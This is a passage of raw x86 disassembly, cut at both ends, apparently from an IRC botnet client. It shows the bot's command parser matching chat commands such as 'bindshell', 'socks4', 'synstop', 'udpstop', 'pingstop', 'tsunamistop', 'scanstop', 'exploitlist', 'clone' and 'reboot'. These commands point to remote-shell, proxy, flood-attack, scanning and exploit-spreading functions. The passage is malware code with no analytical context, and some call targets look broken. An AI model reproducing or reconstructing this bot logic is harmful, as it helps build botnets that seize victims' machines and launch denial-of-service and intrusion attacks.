		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF18


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE50 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D128 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE10 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF0
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC4
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB44
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A4
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
